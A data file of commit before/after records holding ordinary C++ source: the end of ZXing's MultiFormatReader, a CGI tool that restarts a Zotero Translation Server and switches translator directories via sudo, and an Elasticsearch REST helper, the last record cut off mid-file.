BinaryBitmap& image) const\n{\n\t\/\/ If we have only one reader in our list, just return whatever that decoded.\n\t\/\/ This preserves information (e.g. ChecksumError) instead of just returning 'NotFound'.\n\tif (_readers.size() == 1)\n\t\treturn _readers.front()->decode(image);\n\n\tfor (const auto& reader : _readers) {\n\t\tResult r = reader->decode(image);\n \t\tif (r.isValid())\n\t\t\treturn r;\n\t}\n\treturn Result(DecodeStatus::NotFound);\n}\n\nResults MultiFormatReader::readMultiple(const BinaryBitmap& image, int maxSymbols) const\n{\n\tstd::vector<Result> res;\n\n\tfor (const auto& reader : _readers) {\n\t\tauto r = reader->decode(image, maxSymbols);\n\t\tmaxSymbols -= r.size();\n\t\tres.insert(res.end(), std::move_iterator(r.begin()), std::move_iterator(r.end()));\n\t\tif (maxSymbols <= 0)\n\t\t\tbreak;\n\t}\n\n\t\/\/ sort results based on their position on the image\n\tstd::sort(res.begin(), res.end(), [](const Result& l, const Result& r) {\n\t\tauto lp = l.position().topLeft();\n\t\tauto rp = r.position().topLeft();\n\t\treturn lp.y < rp.y || (lp.y == rp.y && lp.x < rp.x);\n\t});\n\n\treturn res;\n}\n\n} \/\/ ZXing\n<|endoftext|>"} {"text":"<commit_before>\/** \\file restart_zts\n * \\brief Restart the docker container with the Zotero Translation Server\n * \\author Johannes Riedl\n *\/\n\n\/*\n Copyright (C) 2020,2021, Library of the University of Tübingen\n\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU Affero General Public License as\n published by the Free Software Foundation, either version 3 of the\n License, or (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU Affero General Public License for more details.\n\n You should have received a copy of the GNU Affero General Public License\n along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n#include <functional>\n#include <iostream>\n#include <sstream>\n#include \"ExecUtil.h\"\n#include \"IniFile.h\"\n#include \"StringUtil.h\"\n#include \"WebUtil.h\"\n#include \"util.h\"\n\nnamespace {\n\nconst std::string ZTS_RESTART_CONFIG(\"\/usr\/local\/var\/lib\/tuelib\/restart_zts.conf\");\n\/\/ Make sure to match this directory in \/etc\/sudoers.d\/99-zts-restart otherwise symbolic linking will fail\nconst std::string ZTS_TRANSLATORS_DIR(\"\/usr\/local\/zotero-translators\");\n\n\nvoid SendHeaders() {\n std::cout << \"Content-Type: text\/html; charset=utf-8\\r\\n\\r\\n\"\n << \"<html>\\n\";\n}\n\n\nvoid SendTrailer() {\n std::cout << \"<\/html>\\n\";\n\n}\n\nstruct TranslatorsLocationConfig {\n std::string name_;\n std::string url_;\n std::string local_path_;\n std::string branch_;\n TranslatorsLocationConfig(std::string name = \"\", std::string url = \"\",\n std::string local_path = \"\", std::string branch = \"\") :\n name_(name), url_(url), local_path_(local_path), branch_(branch)\n {}\n};\n\n\nvoid GetTranslatorLocationConfigs(const IniFile &ini_file,\n std::vector<TranslatorsLocationConfig> * translators_location_configs) {\n translators_location_configs->clear();\n const std::string location_prefix(\"Repo_\");\n for (const auto §ion : ini_file) {\n if (StringUtil::StartsWith(section.getSectionName(), location_prefix)) {\n TranslatorsLocationConfig translators_location_config;\n translators_location_config.name_ = section.getSectionName().substr(location_prefix.length());\n translators_location_config.url_ = section.getString(\"url\", \"\");\n translators_location_config.local_path_ = section.getString(\"local_path\");\n translators_location_config.branch_ = section.getString(\"branch\");\n translators_location_configs->emplace_back(translators_location_config);\n }\n }\n}\n\nbool IsRestartActionPresent(const std::multimap<std::string, std::string> &cgi_args) {\n const auto key_and_value(cgi_args.find(\"action\"));\n return key_and_value != cgi_args.cend() and key_and_value->second == \"Restart\";\n}\n\n\nvoid ExecuteAndDumpMessages(const std::string &command, const std::vector<std::string> &args) {\n auto auto_temp_file((FileUtil::AutoTempFile()));\n const std::string tmp_output(auto_temp_file.getFilePath());\n ExecUtil::ExecOrDie(command, args, \"\" \/*stdin*\/, tmp_output, \"\/dev\/stdout\");\n std::ifstream output_file(tmp_output);\n if (not output_file)\n LOG_ERROR(\"Could not open \" + tmp_output + \" for reading\\n\");\n std::stringstream output_istream;\n output_istream << output_file.rdbuf();\n std::cout << StringUtil::ReplaceString(\"\\n\", \"<br\/>\", output_istream.str());\n}\n\n\ntemplate<typename Function>\nvoid ExecuteAndDisplayStatus(const std::string &header_msg, Function function, std::string footer_msg = \"\") {\n std::cout << header_msg << std::endl;\n bool log_no_decorations_old(logger->getLogNoDecorations());\n bool log_strip_call_site_old(logger->getLogStripCallSite());\n logger->setLogNoDecorations(true);\n logger->setLogStripCallSite(true);\n logger->redirectOutput(STDOUT_FILENO);\n try {\n function();\n } catch (const std::runtime_error &error) {\n std::cerr << error.what();\n }\n std::cout << footer_msg << std::endl;\n logger->redirectOutput(STDERR_FILENO);\n logger->setLogNoDecorations(log_no_decorations_old);\n logger->setLogStripCallSite(log_strip_call_site_old);\n}\n\n\ntemplate<typename Function>\nvoid ExecuteAndSendStatus(const std::string &message, Function function) {\n SendHeaders();\n ExecuteAndDisplayStatus(message, function);\n SendTrailer();\n}\n\n\nvoid GetCurrentRepoAndBranch() {\n const std::string chdir_to_translators_dir(\"cd \" + ZTS_TRANSLATORS_DIR + \"\/translators\");\n auto closure = [&]{\n ExecuteAndDumpMessages(\"\/usr\/bin\/sudo\",\n { \"\/bin\/bash\", \"-c\", \"\/usr\/local\/bin\/restart_zts_show_current_gitrepo.sh\" });\n };\n ExecuteAndDisplayStatus(\"<h4>Current repo and branch <\/h4>\", closure, \"<p>\");\n}\n\n\nvoid DisplayRestartAndSelectButtons(const std::vector<TranslatorsLocationConfig> &translators_location_configs) {\n SendHeaders();\n std::cout << \"<h2>Restart Zotero Translation Server Service<\/h2>\\n\";\n GetCurrentRepoAndBranch();\n std::cout << \"<form action=\\\"\\\" method=\\\"post\\\">\\n\";\n for (const auto &translators_location_config : translators_location_configs)\n std::cout << \"\\t<input type=\\\"submit\\\" name=\\\"action\\\" value=\\\"\" + translators_location_config.name_ +\"\\\">\\n\";\n std::cout << \"<p\/><hr\/><p\/>\" << std::endl;\n std::cout << \"\\t<input type=\\\"submit\\\" name=\\\"action\\\" value=\\\"Restart\\\">\\n\"\n << \"<\/form>\\n\";\n SendTrailer();\n}\n\n\nvoid RestartZTS() {\n auto closure = []{\n ExecUtil::ExecOrDie(\"\/usr\/bin\/sudo\", { \"systemctl\", \"restart\", \"zts\" });\n ExecuteAndDumpMessages(\"\/usr\/bin\/sudo\", { \"systemctl\", \"status\", \"zts\" });\n };\n ExecuteAndSendStatus(\"<h2>Trying to restart ZTS Server<\/h2>\", closure);\n}\n\n\nvoid RelinkTranslatorDirectory(const TranslatorsLocationConfig &translators_location_config) {\n auto closure = [&]{\n ExecuteAndDumpMessages(\"\/usr\/bin\/sudo\",\n { \"ln\" , \"--symbolic\", \"--force\", \"--no-dereference\",\n translators_location_config.local_path_, ZTS_TRANSLATORS_DIR});\n std::cout << \"Linking \" + ZTS_TRANSLATORS_DIR + \" to \" + translators_location_config.local_path_ << '\\n';\n RestartZTS();\n };\n ExecuteAndSendStatus(\"<h2>Switching to branch \" + translators_location_config.name_ + \"<\/h2>\",\n closure);\n}\n\n\nbool GetSwitchBranch(const std::multimap<std::string, std::string> &cgi_args,\n std::vector<TranslatorsLocationConfig> translators_location_configs,\n TranslatorsLocationConfig * const translator_location_config) {\n const auto key_and_value(cgi_args.find(\"action\"));\n if (key_and_value == cgi_args.end())\n return false;\n const std::string target(key_and_value->second);\n auto match(std::find_if(translators_location_configs.begin(),\n translators_location_configs.end(),\n [&target](const TranslatorsLocationConfig &target_obj)\n {return target_obj.name_ == target;}));\n if (match == translators_location_configs.end()) {\n std::cout << \"NO MATCH\";\n return false;\n }\n *translator_location_config = *match;\n return true;\n}\n\n\n} \/\/ end unnamed namespace\n\n\nint Main(int \/*argc*\/, char *\/*argv*\/[]) {\n std::multimap<std::string, std::string> cgi_args;\n WebUtil::GetAllCgiArgs(&cgi_args);\n IniFile ini_file(ZTS_RESTART_CONFIG);\n std::vector<TranslatorsLocationConfig> translators_location_configs;\n GetTranslatorLocationConfigs(ini_file, &translators_location_configs);\n if (IsRestartActionPresent(cgi_args)) {\n RestartZTS();\n return EXIT_SUCCESS;\n }\n\n TranslatorsLocationConfig translators_location_config;\n if (GetSwitchBranch(cgi_args, translators_location_configs, &translators_location_config)) {\n RelinkTranslatorDirectory(translators_location_config);\n return EXIT_SUCCESS;\n }\n\n DisplayRestartAndSelectButtons(translators_location_configs);\n return EXIT_SUCCESS;\n}\n\n\n\n\n\n<commit_msg>ZEM switch functionality<commit_after>\/** \\file restart_zts\n * \\brief Restart the docker container with the Zotero Translation Server\n * \\author Johannes Riedl\n *\/\n\n\/*\n Copyright (C) 2020,2021, Library of the University of Tübingen\n\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU Affero General Public License as\n published by the Free Software Foundation, either version 3 of the\n License, or (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU Affero General Public License for more details.\n\n You should have received a copy of the GNU Affero General Public License\n along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n#include <functional>\n#include <iostream>\n#include <sstream>\n#include \"ExecUtil.h\"\n#include \"IniFile.h\"\n#include \"StringUtil.h\"\n#include \"WebUtil.h\"\n#include \"util.h\"\n\nnamespace {\n\nconst std::string ZTS_RESTART_CONFIG(\"\/usr\/local\/var\/lib\/tuelib\/restart_zts.conf\");\n\/\/ Make sure to match this directory in \/etc\/sudoers.d\/99-zts-restart otherwise symbolic linking will fail\nconst std::string ZTS_TRANSLATORS_DIR(\"\/usr\/local\/zotero-translators\");\nconst std::string ZOTERO_ENHANCEMENT_MAPS_DIR(\"\/usr\/local\/var\/lib\/tuelib\/zotero-enhancement-maps\");\n\n\nvoid SendHeaders() {\n std::cout << \"Content-Type: text\/html; charset=utf-8\\r\\n\\r\\n\"\n << \"<html>\\n\";\n}\n\n\nvoid SendTrailer() {\n std::cout << \"<\/html>\\n\";\n\n}\n\nstruct TranslatorsLocationConfig {\n std::string name_;\n std::string url_;\n std::string local_path_;\n std::string branch_;\n std::string zotero_enhancement_maps_local_path_;\n std::string zotero_enhancement_maps_branch_;\n TranslatorsLocationConfig(std::string name = \"\", std::string url = \"\",\n std::string local_path = \"\", std::string branch = \"\",\n std::string zotero_enhancement_maps_local_path = \"\",\n std::string zotero_enhancement_maps_branch = \"\") :\n name_(name), url_(url), local_path_(local_path), branch_(branch),\n zotero_enhancement_maps_local_path_(zotero_enhancement_maps_local_path),\n zotero_enhancement_maps_branch_(zotero_enhancement_maps_branch)\n {}\n};\n\n\nvoid GetTranslatorLocationConfigs(const IniFile &ini_file,\n std::vector<TranslatorsLocationConfig> * translators_location_configs) {\n translators_location_configs->clear();\n const std::string location_prefix(\"Repo_\");\n for (const auto §ion : ini_file) {\n if (StringUtil::StartsWith(section.getSectionName(), location_prefix)) {\n TranslatorsLocationConfig translators_location_config;\n translators_location_config.name_ = section.getSectionName().substr(location_prefix.length());\n translators_location_config.url_ = section.getString(\"url\", \"\");\n translators_location_config.local_path_ = section.getString(\"local_path\");\n translators_location_config.branch_ = section.getString(\"branch\");\n translators_location_config.zotero_enhancement_maps_local_path_ =\n section.getString(\"zotero_enhancement_maps_local_path\");\n translators_location_config.zotero_enhancement_maps_branch_ =\n section.getString(\"zotero_enhancement_maps_branch\");\n translators_location_configs->emplace_back(translators_location_config);\n }\n }\n}\n\nbool IsRestartActionPresent(const std::multimap<std::string, std::string> &cgi_args) {\n const auto key_and_value(cgi_args.find(\"action\"));\n return key_and_value != cgi_args.cend() and key_and_value->second == \"Restart\";\n}\n\n\nvoid ExecuteAndDumpMessages(const std::string &command, const std::vector<std::string> &args) {\n auto auto_temp_file((FileUtil::AutoTempFile()));\n const std::string tmp_output(auto_temp_file.getFilePath());\n ExecUtil::ExecOrDie(command, args, \"\" \/*stdin*\/, tmp_output, \"\/dev\/stdout\");\n std::ifstream output_file(tmp_output);\n if (not output_file)\n LOG_ERROR(\"Could not open \" + tmp_output + \" for reading\\n\");\n std::stringstream output_istream;\n output_istream << output_file.rdbuf();\n std::cout << StringUtil::ReplaceString(\"\\n\", \"<br\/>\", output_istream.str());\n}\n\n\ntemplate<typename Function>\nvoid ExecuteAndDisplayStatus(const std::string &header_msg, Function function, std::string footer_msg = \"\") {\n std::cout << header_msg << std::endl;\n bool log_no_decorations_old(logger->getLogNoDecorations());\n bool log_strip_call_site_old(logger->getLogStripCallSite());\n logger->setLogNoDecorations(true);\n logger->setLogStripCallSite(true);\n logger->redirectOutput(STDOUT_FILENO);\n try {\n function();\n } catch (const std::runtime_error &error) {\n std::cerr << error.what();\n }\n std::cout << footer_msg << std::endl;\n logger->redirectOutput(STDERR_FILENO);\n logger->setLogNoDecorations(log_no_decorations_old);\n logger->setLogStripCallSite(log_strip_call_site_old);\n}\n\n\ntemplate<typename Function>\nvoid ExecuteAndSendStatus(const std::string &message, Function function) {\n SendHeaders();\n ExecuteAndDisplayStatus(message, function);\n SendTrailer();\n}\n\n\nvoid GetCurrentRepoAndBranch() {\n const std::string chdir_to_translators_dir(\"cd \" + ZTS_TRANSLATORS_DIR + \"\/translators\");\n auto closure = [&]{\n ExecuteAndDumpMessages(\"\/usr\/bin\/sudo\",\n { \"\/bin\/bash\", \"-c\", \"\/usr\/local\/bin\/restart_zts_show_current_gitrepo.sh\" });\n };\n ExecuteAndDisplayStatus(\"<h4>Current repo and branch <\/h4>\", closure, \"<p>\");\n}\n\n\n\n\n\nvoid DisplayRestartAndSelectButtons(const std::vector<TranslatorsLocationConfig> &translators_location_configs) {\n SendHeaders();\n std::cout << \"<h2>Restart Zotero Translation Server Service<\/h2>\\n\";\n GetCurrentRepoAndBranch();\n std::cout << \"<form action=\\\"\\\" method=\\\"post\\\">\\n\";\n for (const auto &translators_location_config : translators_location_configs)\n std::cout << \"\\t<input type=\\\"submit\\\" name=\\\"action\\\" value=\\\"\" + translators_location_config.name_ +\"\\\">\\n\";\n std::cout << \"<p\/><hr\/><p\/>\" << std::endl;\n std::cout << \"\\t<input type=\\\"submit\\\" name=\\\"action\\\" value=\\\"Restart\\\">\\n\"\n << \"<\/form>\\n\";\n SendTrailer();\n}\n\n\nvoid RestartZTS() {\n auto closure = []{\n ExecUtil::ExecOrDie(\"\/usr\/bin\/sudo\", { \"systemctl\", \"restart\", \"zts\" });\n ExecuteAndDumpMessages(\"\/usr\/bin\/sudo\", { \"systemctl\", \"status\", \"zts\" });\n };\n ExecuteAndSendStatus(\"<h2>Trying to restart ZTS Server<\/h2>\", closure);\n}\n\n\nvoid RelinkTranslatorAndEnhancemenMapsDirectory(const TranslatorsLocationConfig &translators_location_config) {\n auto closure = [&]{\n ExecuteAndDumpMessages(\"\/usr\/bin\/sudo\",\n { \"ln\" , \"--symbolic\", \"--force\", \"--no-dereference\",\n translators_location_config.local_path_, ZTS_TRANSLATORS_DIR});\n std::cout << \"Linking \" << ZTS_TRANSLATORS_DIR << \" to \" << translators_location_config.local_path_ << \"<br\/>\";\n ExecuteAndDumpMessages(\"\/usr\/bin\/sudo\",\n { \"ln\" , \"--symbolic\", \"--force\", \"--no-dereference\",\n translators_location_config.zotero_enhancement_maps_local_path_, ZOTERO_ENHANCEMENT_MAPS_DIR});\n std::cout << \"Linking \" << ZOTERO_ENHANCEMENT_MAPS_DIR << \" to \" <<\n translators_location_config.zotero_enhancement_maps_local_path_ << \"<br\/>\";\n RestartZTS();\n };\n ExecuteAndSendStatus(\"<h2>Switching to branch \" + translators_location_config.name_ + \"<\/h2>\",\n closure);\n}\n\n\nbool GetSwitchBranch(const std::multimap<std::string, std::string> &cgi_args,\n std::vector<TranslatorsLocationConfig> translators_location_configs,\n TranslatorsLocationConfig * const translator_location_config) {\n const auto key_and_value(cgi_args.find(\"action\"));\n if (key_and_value == cgi_args.end())\n return false;\n const std::string target(key_and_value->second);\n auto match(std::find_if(translators_location_configs.begin(),\n translators_location_configs.end(),\n [&target](const TranslatorsLocationConfig &target_obj)\n {return target_obj.name_ == target;}));\n if (match == translators_location_configs.end()) {\n std::cout << \"NO MATCH\";\n return false;\n }\n *translator_location_config = *match;\n return true;\n}\n\n\n} \/\/ end unnamed namespace\n\n\nint Main(int \/*argc*\/, char *\/*argv*\/[]) {\n std::multimap<std::string, std::string> cgi_args;\n WebUtil::GetAllCgiArgs(&cgi_args);\n IniFile ini_file(ZTS_RESTART_CONFIG);\n std::vector<TranslatorsLocationConfig> translators_location_configs;\n GetTranslatorLocationConfigs(ini_file, &translators_location_configs);\n if (IsRestartActionPresent(cgi_args)) {\n RestartZTS();\n return EXIT_SUCCESS;\n }\n\n TranslatorsLocationConfig translators_location_config;\n if (GetSwitchBranch(cgi_args, translators_location_configs, &translators_location_config)) {\n RelinkTranslatorAndEnhancemenMapsDirectory(translators_location_config);\n return EXIT_SUCCESS;\n }\n\n DisplayRestartAndSelectButtons(translators_location_configs);\n return EXIT_SUCCESS;\n}\n\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/** \\file Elasticsearch.cc\n * \\brief Implementation of utility functions relating to Elasticsearch.\n * \\author Mario Trojan\n *\n * \\copyright 2018 Universitätsbibliothek Tübingen. All rights reserved.\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include \"Elasticsearch.h\"\n#include <memory>\n#include \"FileUtil.h\"\n#include \"IniFile.h\"\n\n\nstd::shared_ptr<Elasticsearch::Configuration> Elasticsearch::Configuration::FactoryByConfigFile() {\n const std::string ini_path(\"\/usr\/local\/var\/lib\/tuelib\/Elasticsearch.conf\");\n if (not FileUtil::Exists(ini_path))\n ERROR(\"config file missing: \" + ini_path);\n\n const IniFile ini_file(ini_path);\n\n std::shared_ptr<Elasticsearch::Configuration> config(new Elasticsearch::Configuration);\n config->host_ = Url(ini_file.getString(\"Elasticsearch\", \"host\"));\n config->index_ = ini_file.getString(\"Elasticsearch\", \"index\");\n config->document_type_ = ini_file.getString(\"Elasticsearch\", \"document_type\");\n return config;\n}\n\n\nstd::shared_ptr<JSON::ObjectNode> FieldsToJSON(const Elasticsearch::Fields &fields) {\n std::shared_ptr<JSON::ObjectNode> tree_root(new JSON::ObjectNode);\n for (const auto &field : fields) {\n std::shared_ptr<JSON::StringNode> value_node(new JSON::StringNode(field.second));\n tree_root->insert(field.first, value_node);\n }\n return tree_root;\n}\n\n\nElasticsearch::Fields JSONToFields(const std::shared_ptr<const JSON::ObjectNode> &json_object) {\n Elasticsearch::Fields fields;\n for (const auto &key_and_value : *json_object) {\n std::shared_ptr<JSON::StringNode> string_node(JSON::JSONNode::CastToStringNodeOrDie(key_and_value.first, key_and_value.second));\n fields[key_and_value.first] = string_node->getValue();\n }\n return fields;\n}\n\n\n\/** \\brief Sends REST queries to Elasticsearch server\n* \\throws std::runtime_error on REST error or if the JSON response contained an error flag.\n*\/\nstd::shared_ptr<JSON::ObjectNode> Elasticsearch::Api::Query(const Url &host, const std::string &action, const REST::QueryType query_type, const std::shared_ptr<const JSON::JSONNode> &data) {\n Url url(host.toString() + \"\/\" + action);\n Downloader::Params params;\n if (data != nullptr)\n params.additional_headers_.push_back(\"Content-Type: application\/json\");\n std::shared_ptr<JSON::JSONNode> result(REST::QueryJSON(url, query_type, data, params));\n std::shared_ptr<JSON::ObjectNode> result_object(JSON::JSONNode::CastToObjectNodeOrDie(\"Elasticsearch result\", result));\n if (result_object->hasNode(\"error\"))\n throw std::runtime_error(\"in Elasticsearch::query: \" + result_object->getNode(\"error\")->toString());\n\n DEBUG(result_object->toString());\n\n return result_object;\n}\n\n\nvoid Elasticsearch::Api::CreateDocument(const Url &host, const std::string &index, const Document &document) {\n const std::shared_ptr<JSON::ObjectNode> tree_root(FieldsToJSON(document.fields_));\n const std::string action(index + \"\/\" + document.type_ + \"\/\" + document.id_ + \"?op_type=create\");\n Query(host, action, REST::QueryType::PUT, tree_root);\n}\n\n\nvoid Elasticsearch::Api::CreateIndex(const Url &host, const std::string &index) {\n Query(host, index, REST::QueryType::PUT);\n}\n\n\nvoid Elasticsearch::Api::DeleteDocument(const Url &host, const std::string &index, const std::string &type, const std::string &id) {\n const std::string action(index + \"\/\" + type + \"\/\" + id);\n Query(host, action, REST::QueryType::DELETE);\n}\n\n\nvoid Elasticsearch::Api::DeleteIndex(const Url &host, const std::string &index) {\n Query(host, index, REST::QueryType::DELETE);\n}\n\n\nElasticsearch::Document Elasticsearch::Api::GetDocument(const Url &host, const std::string &index, const std::string &type, const std::string &id) {\n const std::string action(index + \"\/\" + type + \"\/\" + id);\n std::shared_ptr<JSON::ObjectNode> result(Query(host, action, REST::QueryType::GET));\n bool found(result->getOptionalBooleanValue(\"found\", false));\n if (not found)\n throw std::runtime_error(\"in Elasticsearch::getDocument: document not found!\" + result->toString());\n\n Document document;\n document.id_ = id;\n document.fields_ = JSONToFields(result->getObjectNode(\"_source\"));\n return document;\n}\n\n\nstd::vector<std::string> Elasticsearch::Api::GetIndexList(const Url &host) {\n const std::string action(\"_cluster\/health?level=indices\");\n const std::shared_ptr<const JSON::ObjectNode> result_node(Query(host, action, REST::QueryType::GET));\n\n if (not result_node->hasNode(\"indices\"))\n throw std::runtime_error(\"in Elasticsearch::getIndexList: indices key not found in result: \" + result_node->toString());\n\n const std::shared_ptr<const JSON::ObjectNode> index_list_node(result_node->getObjectNode(\"indices\"));\n std::vector<std::string> index_list;\n for (const auto &key_and_node : *index_list_node)\n index_list.push_back(key_and_node.first);\n\n return index_list;\n}\n\n\nElasticsearch::IndexStatistics Elasticsearch::Api::GetIndexStatistics(const Url &host, const std::string &index) {\n const std::string action(index + \"\/_stats\");\n const std::shared_ptr<const JSON::ObjectNode> result_object(Query(host, action, REST::QueryType::GET));\n const std::shared_ptr<const JSON::ObjectNode> indices_object(result_object->getObjectNode(\"indices\"));\n const std::shared_ptr<const JSON::ObjectNode> index_object(indices_object->getObjectNode(index));\n const std::shared_ptr<const JSON::ObjectNode> total_object(index_object->getObjectNode(\"total\"));\n const std::shared_ptr<const JSON::ObjectNode> docs_object(total_object->getObjectNode(\"docs\"));\n IndexStatistics stats;\n stats.document_count_ = static_cast<unsigned>(docs_object->getIntegerValue(\"count\"));\n return stats;\n}\n\n\nbool Elasticsearch::Api::HasDocument(const Url &host, const std::string &index, const std::string &type, const std::string &id) {\n const std::string action(index + \"\/\" + type + \"\/\" + id);\n const std::shared_ptr<const JSON::ObjectNode> result(Query(host, action, REST::QueryType::GET));\n return result->getOptionalBooleanValue(\"found\", false);\n}\n\n\nvoid Elasticsearch::Api::Reindex(const Url &host, const std::string &source_index, const std::string &target_index) {\n std::shared_ptr<JSON::ObjectNode> tree_root(new JSON::ObjectNode);\n\n std::shared_ptr<JSON::ObjectNode> source_node(new JSON::ObjectNode);\n std::shared_ptr<JSON::StringNode> source_index_node(new JSON::StringNode(source_index));\n source_node->insert(\"index\", source_index_node);\n tree_root->insert(\"source\", source_node);\n\n std::shared_ptr<JSON::ObjectNode> dest_node(new JSON::ObjectNode);\n std::shared_ptr<JSON::StringNode> dest_index_node(new JSON::StringNode(target_index));\n dest_node->insert(\"index\", dest_index_node);\n tree_root->insert(\"dest\", dest_node);\n\n Query(host, \"_reindex\", REST::QueryType::POST, tree_root);\n}\n\n\nElasticsearch::IdToDocumentMap Elasticsearch::Api::SearchAllDocuments(const Url &host, const std::string &index) {\n const std::string action(index + \"\/_search\");\n\n const std::shared_ptr<JSON::ObjectNode> tree_root(new JSON::ObjectNode);\n std::shared_ptr<JSON::ObjectNode> query_node(new JSON::ObjectNode);\n tree_root->insert(\"query\", query_node);\n std::shared_ptr<JSON::ObjectNode> match_all_node(new JSON::ObjectNode);\n query_node->insert(\"match_all\", match_all_node);\n\n const std::shared_ptr<const JSON::ObjectNode> result_node(Query(host, action, REST::QueryType::GET, tree_root));\n\n IdToDocumentMap documents;\n if (result_node->hasNode(\"hits\")) {\n const std::shared_ptr<const JSON::ObjectNode> hits_object(result_node->getObjectNode(\"hits\"));\n const std::shared_ptr<const JSON::ArrayNode> hits_array(hits_object->getArrayNode(\"hits\"));\n for (const auto &hit_node : *hits_array) {\n const std::shared_ptr<const JSON::ObjectNode> hit_object(JSON::JSONNode::CastToObjectNodeOrDie(\"hit\", hit_node));\n Document document;\n document.id_ = hit_object->getStringValue(\"_id\");\n if (hit_object->hasNode(\"_source\")) {\n const std::shared_ptr<const JSON::ObjectNode> fields_object(hit_object->getObjectNode(\"_source\"));\n document.fields_ = JSONToFields(fields_object);\n }\n documents[document.id_] = document;\n }\n }\n return documents;\n}\n\n\nvoid Elasticsearch::Api::UpdateDocument(const Url &host, const std::string &index, const Document &document) {\n std::shared_ptr<JSON::ObjectNode> doc_node(FieldsToJSON(document.fields_));\n std::shared_ptr<JSON::ObjectNode> tree_root(new JSON::ObjectNode);\n tree_root->insert(\"doc\", doc_node);\n\n const std::string action(index + \"\/\" + document.type_ + \"\/\" + document.id_ + \"\/_update\");\n Query(host, action, REST::QueryType::POST, tree_root);\n}\n\n\nvoid Elasticsearch::Api::UpdateOrInsertDocument(const Url &host, const std::string &index, const Document &document) {\n std::shared_ptr<JSON::ObjectNode> tree_root(new JSON::ObjectNode);\n std::shared_ptr<JSON::ObjectNode> doc_node(FieldsToJSON(document.fields_));\n tree_root->insert(\"doc\", doc_node);\n std::shared_ptr<JSON::BooleanNode> doc_as_upsert_node(new JSON::BooleanNode(true));\n tree_root->insert(\"doc_as_upsert\", doc_as_upsert_node);\n\n const std::string action(index + \"\/\" + document.type_ + \"\/\" + document.id_ + \"\/_update\");\n Query(host, action, REST::QueryType::POST, tree_root);\n}\n<commit_msg>Elasticsearch: fixed GetDocument => type not being set<commit_after>\/** \\file Elasticsearch.cc\n * \\brief Implementation of utility functions relating to Elasticsearch.\n * \\author Mario Trojan\n *\n * \\copyright 2018 Universitätsbibliothek Tübingen. All rights reserved.\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include \"Elasticsearch.h\"\n#include <memory>\n#include \"FileUtil.h\"\n#include \"IniFile.h\"\n\n\nstd::shared_ptr<Elasticsearch::Configuration> Elasticsearch::Configuration::FactoryByConfigFile() {\n const std::string ini_path(\"\/usr\/local\/var\/lib\/tuelib\/Elasticsearch.conf\");\n if (not FileUtil::Exists(ini_path))\n ERROR(\"config file missing: \" + ini_path);\n\n const IniFile ini_file(ini_path);\n\n std::shared_ptr<Elasticsearch::Configuration> config(new Elasticsearch::Configuration);\n config->host_ = Url(ini_file.getString(\"Elasticsearch\", \"host\"));\n config->index_ = ini_file.getString(\"Elasticsearch\", \"index\");\n config->document_type_ = ini_file.getString(\"Elasticsearch\", \"document_type\");\n return config;\n}\n\n\nstd::shared_ptr<JSON::ObjectNode> FieldsToJSON(const Elasticsearch::Fields &fields) {\n std::shared_ptr<JSON::ObjectNode> tree_root(new JSON::ObjectNode);\n for (const auto &field : fields) {\n std::shared_ptr<JSON::StringNode> value_node(new JSON::StringNode(field.second));\n tree_root->insert(field.first, value_node);\n }\n return tree_root;\n}\n\n\nElasticsearch::Fields JSONToFields(const std::shared_ptr<const JSON::ObjectNode> &json_object) {\n Elasticsearch::Fields fields;\n for (const auto &key_and_value : *json_object) {\n std::shared_ptr<JSON::StringNode> string_node(JSON::JSONNode::CastToStringNodeOrDie(key_and_value.first, key_and_value.second));\n fields[key_and_value.first] = string_node->getValue();\n }\n return fields;\n}\n\n\n\/** \\brief Sends REST queries to Elasticsearch server\n* \\throws std::runtime_error on REST error or if the JSON response contained an error flag.\n*\/\nstd::shared_ptr<JSON::ObjectNode> Elasticsearch::Api::Query(const Url &host, const std::string &action, const REST::QueryType query_type, const std::shared_ptr<const JSON::JSONNode> &data) {\n Url url(host.toString() + \"\/\" + action);\n Downloader::Params params;\n if (data != nullptr)\n params.additional_headers_.push_back(\"Content-Type: application\/json\");\n std::shared_ptr<JSON::JSONNode> result(REST::QueryJSON(url, query_type, data, params));\n std::shared_ptr<JSON::ObjectNode> result_object(JSON::JSONNode::CastToObjectNodeOrDie(\"Elasticsearch result\", result));\n if (result_object->hasNode(\"error\"))\n throw std::runtime_error(\"in Elasticsearch::query: \" + result_object->getNode(\"error\")->toString());\n\n DEBUG(result_object->toString());\n\n return result_object;\n}\n\n\nvoid Elasticsearch::Api::CreateDocument(const Url &host, const std::string &index, const Document &document) {\n const std::shared_ptr<JSON::ObjectNode> tree_root(FieldsToJSON(document.fields_));\n const std::string action(index + \"\/\" + document.type_ + \"\/\" + document.id_ + \"?op_type=create\");\n Query(host, action, REST::QueryType::PUT, tree_root);\n}\n\n\nvoid Elasticsearch::Api::CreateIndex(const Url &host, const std::string &index) {\n Query(host, index, 